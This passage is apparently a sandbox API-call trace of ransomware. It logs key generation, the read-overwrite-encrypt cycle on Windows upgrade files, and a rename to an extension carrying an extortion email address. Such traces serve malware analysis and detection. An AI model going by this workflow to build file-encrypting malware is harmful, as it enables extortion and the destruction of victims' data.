Flags=0x0, Size=0x60) returned 0x5569e8 [0113.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0113.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.914] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat", dwFileAttributes=0x80) returned 1 [0114.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0114.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0114.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0114.048] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0114.048] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9910) returned 1 [0114.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26b6) returned 0x609bd8 [0114.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26b6) returned 0x60c298 [0114.048] ReadFile (in: hFile=0x630, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x26b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x26b6, lpOverlapped=0x0) returned 1 [0114.140] SetFilePointer (in: hFile=0x630, lDistanceToMove=-9910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.140] WriteFile (in: hFile=0x630, lpBuffer=0x60c298*, nNumberOfBytesToWrite=0x26b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x26b6, lpOverlapped=0x0) returned 1 [0114.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0114.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c298 | out: hHeap=0x520000) returned 1 [0114.141] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x26b6 [0114.141] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.141] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.141] WriteFile (in: hFile=0x630, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.141] WriteFile (in: hFile=0x630, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.142] CloseHandle (hObject=0x630) returned 1 [0114.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0114.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0114.142] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0114.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0114.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0114.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0114.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0114.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0114.144] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0114.144] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0114.144] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt", dwFileAttributes=0x80) returned 1 [0114.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0114.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0114.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0114.145] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0114.145] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2317) returned 1 [0114.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90d) returned 0x582160 [0114.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90d) returned 0x582a78 [0114.145] ReadFile (in: hFile=0x630, lpBuffer=0x582160, nNumberOfBytesToRead=0x90d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x90d, lpOverlapped=0x0) returned 1 [0114.147] SetFilePointer (in: hFile=0x630, lDistanceToMove=-2317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.147] WriteFile (in: hFile=0x630, lpBuffer=0x582a78*, nNumberOfBytesToWrite=0x90d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582a78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x90d, lpOverlapped=0x0) returned 1 [0114.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0114.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a78 | out: hHeap=0x520000) returned 1 [0114.147] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x90d [0114.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.148] WriteFile (in: hFile=0x630, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.148] WriteFile (in: hFile=0x630, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.148] CloseHandle (hObject=0x630) returned 1 [0114.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0114.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0114.148] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ca0 | out: hHeap=0x520000) returned 1 [0114.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0114.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0114.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0114.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0114.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0114.150] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0114.150] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0114.150] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt", dwFileAttributes=0x80) returned 1 [0114.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0114.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0114.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0114.151] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0114.151] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73135) returned 1 [0114.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11daf) returned 0x2e20fd8 [0114.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11daf) returned 0x2e32d90 [0114.152] ReadFile (in: hFile=0x630, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0x11daf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11daf, lpOverlapped=0x0) returned 1 [0114.398] SetFilePointer (in: hFile=0x630, lDistanceToMove=-73135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.398] WriteFile (in: hFile=0x630, lpBuffer=0x2e32d90*, nNumberOfBytesToWrite=0x11daf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e32d90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11daf, lpOverlapped=0x0) returned 1 [0114.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0114.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e32d90 | out: hHeap=0x520000) returned 1 [0114.401] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11daf [0114.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.402] WriteFile (in: hFile=0x630, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.402] WriteFile (in: hFile=0x630, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.402] CloseHandle (hObject=0x630) returned 1 [0114.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0114.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0114.402] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0114.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0114.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0114.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0114.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0114.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0114.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0114.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0114.416] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml", dwFileAttributes=0x80) returned 1 [0114.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0114.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0114.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0114.417] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0114.417] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93884) returned 1 [0114.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16ebc) returned 0x2e20fd8 [0114.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16ebc) returned 0x2e37ea0 [0114.418] ReadFile (in: hFile=0x630, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0x16ebc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x16ebc, lpOverlapped=0x0) returned 1 [0114.538] SetFilePointer (in: hFile=0x630, lDistanceToMove=-93884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.538] WriteFile (in: hFile=0x630, lpBuffer=0x2e37ea0*, nNumberOfBytesToWrite=0x16ebc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e37ea0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16ebc, lpOverlapped=0x0) returned 1 [0114.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0114.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e37ea0 | out: hHeap=0x520000) returned 1 [0114.543] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16ebc [0114.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.544] WriteFile (in: hFile=0x630, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.544] WriteFile (in: hFile=0x630, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.544] CloseHandle (hObject=0x630) returned 1 [0114.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0114.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0114.544] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0114.547] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6558 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0114.547] GetLastError () returned 0x0 [0114.547] SetLastError (dwErrCode=0x0) [0114.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0114.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0114.547] GetLastError () returned 0x0 [0114.547] SetLastError (dwErrCode=0x0) [0114.547] GetLastError () returned 0x0 [0114.555] SetLastError (dwErrCode=0x0) [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6098 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6098 | out: hHeap=0x520000) returned 1 [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0114.556] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0114.556] GetLastError () returned 0x0 [0114.556] SetLastError (dwErrCode=0x0) [0114.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0114.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0114.556] GetLastError () returned 0x0 [0114.556] SetLastError (dwErrCode=0x0) [0114.556] GetLastError () returned 0x0 [0114.557] SetLastError (dwErrCode=0x0) [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d768 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6698 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6698 | out: hHeap=0x520000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0114.557] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ab347, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ab347, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0114.557] GetLastError () returned 0x0 [0114.557] SetLastError (dwErrCode=0x0) [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0114.557] GetLastError () returned 0x0 [0114.557] SetLastError (dwErrCode=0x0) [0114.557] GetLastError () returned 0x0 [0114.557] SetLastError (dwErrCode=0x0) [0114.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0114.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0114.558] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ac6e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ac6e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4071, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0114.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 